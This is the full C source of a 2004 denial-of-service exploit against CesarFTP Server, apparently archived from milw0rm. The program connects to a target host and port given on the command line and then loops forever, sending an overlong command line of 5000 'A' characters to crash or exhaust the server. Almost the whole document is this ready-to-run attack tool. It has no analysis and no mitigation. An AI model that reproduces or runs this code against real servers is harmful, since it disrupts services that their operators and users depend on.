CesarFTP Server - Long Command Denial of Service

/*
*-----------------------------------------------------------------------
*
* cesarftp.c - Cesar FTP Server Long Command DoS Exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author : lion
* : lion@cnhonker.net
* : http://www.cnhonker.com
* Date : 2004-08-30
*
*-----------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

#define BUFFSIZE 204800
#define SIZE 5000

// function
int create_socket();
int client_connect(int sockfd,char* server,int port);
int writebuf(char *s,int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);

int show = 1;
char recvbuf[BUFFSIZE];
char sendbuf[BUFFSIZE];

void main(int argc, char *argv[])
{
WSADATA wsa;
unsigned short port;
unsigned long ip;

SOCKET s;
int size = SIZE;

printf("Cesar FTP Server Long Command DoS Exploit\r\n");
printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");

if(argc < 3)
{
printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
return;
}

WSAStartup(MAKEWORD(2,2),&wsa);

if((s=create_socket())==0)
{
printf("[-] ERROR: Create socket failed.\r\n");
return;
}

if(!client_connect(s, argv[1], atoi(argv[2])))
exit(-1);

readbuf("read", s, recvbuf, BUFFSIZE);

memset(sendbuf, 0, BUFFSIZE);
memset(sendbuf, 'A', size);

sendbuf[size-2] ='\r';
sendbuf[size-1] ='\n';

while(1)
{
show=1;
writebuf("Send Buff", s, sendbuf, size);
readbuf("read", s, recvbuf, BUFFSIZE);
Sleep(1000);
}

if(s)
closesocket(s);

WSACleanup();
}

int create_socket()
{
int sockfd;

sockfd=socket(AF_INET,SOCK_STREAM,0);
if(sockfd<0)
{
printf("[-] Create socket error.\r\n");
return(0);
}

return(sockfd);
}

int client_connect(int sockfd,char* server,int port)
{
struct sockaddr_in cliaddr;
struct hostent *host;

if((host=gethostbyname(server))==NULL)
{
printf("[-] ERROR: gethostbyname(%s) error\n", server);
return(-1);
}

memset(&cliaddr, 0, sizeof(struct sockaddr));

cliaddr.sin_family=AF_INET;
cliaddr.sin_port=htons(port);
cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
printf("[+] Trying %s:%d......", server, port);
fflush(stdout);

if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
{
printf("FAILED!\r\n");
closesocket(sockfd);
return(-1);
}

printf("OK!\r\n");
return(1);
}

int writebuf(char *s,int socket,char *buffer,int len)
{
int j;

if(s)
{
printf("[+] %s......", s);
fflush(stdout);
}

j=send(socket,buffer,len,0);
if(j<=0)
{
printf("FAILED!\r\n");
exit(-1);
}
printf("OK!\r\n");
return j;
}

int readbuf(char *s,int socket,char *buffer,int len)
{
int a,b,i,j=0;

a=b=i=0;
memset(buffer,0,len);

if(s)
{
printf("[+] %s......", s);
fflush(stdout);
}

j=recv(socket,buffer,len-1,0);
if(j <= 0)
{
if(s) printf("FAILED!\n");
printf("[-] Recv data error.\n");
exit(-1);
}

if(s) printf("OK!\n");

buffer[len-1]='\0';

if(show==1) printf("<==\r\n%s<==\r\n",buffer);

return j;
}

// milw0rm.com [2004-08-31]